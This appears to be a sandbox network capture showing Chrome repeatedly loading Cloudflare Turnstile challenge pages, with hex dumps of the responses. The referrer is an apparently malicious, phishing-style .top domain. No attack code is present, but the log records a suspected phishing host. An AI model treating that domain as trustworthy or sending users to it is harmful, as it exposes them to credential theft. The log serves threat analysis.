2024-10-25 08:19:42 UTC	1034	IN	HTTP/1.1 400 Bad Request Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: e7040ad6-ded7-4ed9-b98a-28425dced4e1 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C84 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C84 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: A3B069081AEF4969A810B0AB6041C9C8 Ref B: DFW311000108053 Ref C: 2024-10-25T08:19:42Z Date: Fri, 25 Oct 2024 08:19:41 GMT Connection: close
2024-10-25 08:19:42 UTC	16	IN	Data Raw: 62 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: bBad Request
2024-10-25 08:19:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	50103	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:41 UTC	860	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:42 UTC	1369	IN	HTTP/1.1 400 Bad Request Date: Fri, 25 Oct 2024 08:19:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 684 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-10-25 08:19:42 UTC	157	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 33 58 55 37 36 2b 73 4e 70 6d 37 4d 46 65 75 48 70 36 54 50 41 6a 61 2f 38 61 2f 2b 31 4f 67 32 2f 6c 2b 39 53 65 43 70 72 32 39 63 24 51 4f 45 4d 4c 6e 4a 49 59 30 71 5a 62 64 36 52 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 38 30 63 38 37 62 63 66 38 36 36 62 33 39 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: 3XU76+sNpm7MFeuHp6TPAja/8a/+1Og2/l+9SeCpr29c$QOEMLnJIY0qZbd6RServer: cloudflareCF-RAY: 8d80c87bcf866b39-DFWalt-svc: h3=":443"; ma=86400
2024-10-25 08:19:42 UTC	684	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	50107	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:43 UTC	860	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:44 UTC	1369	IN	HTTP/1.1 400 Bad Request Date: Fri, 25 Oct 2024 08:19:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 684 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-10-25 08:19:44 UTC	157	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 74 42 63 58 2f 53 73 53 4f 55 47 46 65 35 35 6e 37 75 49 37 79 56 6f 38 55 5a 47 55 75 38 59 53 4f 54 75 59 49 4b 67 78 68 7a 66 6e 24 6c 45 69 72 4f 51 79 39 4e 74 74 4c 4f 47 2f 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 38 30 63 38 38 37 65 62 66 38 30 62 37 31 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: tBcX/SsSOUGFe55n7uI7yVo8UZGUu8YSOTuYIKgxhzfn$lEirOQy9NttLOG/gServer: cloudflareCF-RAY: 8d80c887ebf80b71-DFWalt-svc: h3=":443"; ma=86400
2024-10-25 08:19:44 UTC	684	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	50110	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:44 UTC	860	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:44 UTC	1369	IN	HTTP/1.1 400 Bad Request Date: Fri, 25 Oct 2024 08:19:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 684 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-10-25 08:19:44 UTC	157	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 4d 33 2f 44 2f 75 7a 48 46 69 49 77 5a 76 50 79 73 38 33 49 6b 33 46 54 4d 5a 32 7a 4e 42 69 33 74 4f 6c 39 55 6c 51 68 6c 72 4e 66 24 70 77 68 6b 63 74 77 51 57 5a 39 6e 49 36 4b 79 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 38 30 63 38 38 64 39 66 62 33 32 63 62 32 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: M3/D/uzHFiIwZvPys83Ik3FTMZ2zNBi3tOl9UlQhlrNf$pwhkctwQWZ9nI6KyServer: cloudflareCF-RAY: 8d80c88d9fb32cb2-DFWalt-svc: h3=":443"; ma=86400
2024-10-25 08:19:44 UTC	684	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	50112	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:45 UTC	860	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:45 UTC	1369	IN	HTTP/1.1 400 Bad Request Date: Fri, 25 Oct 2024 08:19:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 684 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-10-25 08:19:45 UTC	157	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 6f 2f 66 34 37 2b 33 78 72 68 6e 49 57 5a 43 65 50 7a 76 44 75 39 6f 4c 39 77 4e 57 57 52 6e 6b 39 74 70 36 4f 49 76 79 36 79 4b 77 24 66 31 70 36 37 31 52 2b 39 64 75 5a 44 47 41 4b 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 38 30 63 38 39 33 65 65 33 39 32 65 36 62 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: o/f47+3xrhnIWZCePzvDu9oL9wNWWRnk9tp6OIvy6yKw$f1p671R+9duZDGAKServer: cloudflareCF-RAY: 8d80c893ee392e6b-DFWalt-svc: h3=":443"; ma=86400
2024-10-25 08:19:45 UTC	684	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	50114	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:46 UTC	860	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:46 UTC	1362	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26489 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-10-25 08:19:46 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 38 30 63 38 39 39 36 39 32 31 32 63 63 34 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8d80c89969212cc4-DFWalt-svc: h3=":443"; ma=86400
2024-10-25 08:19:46 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-10-25 08:19:46 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
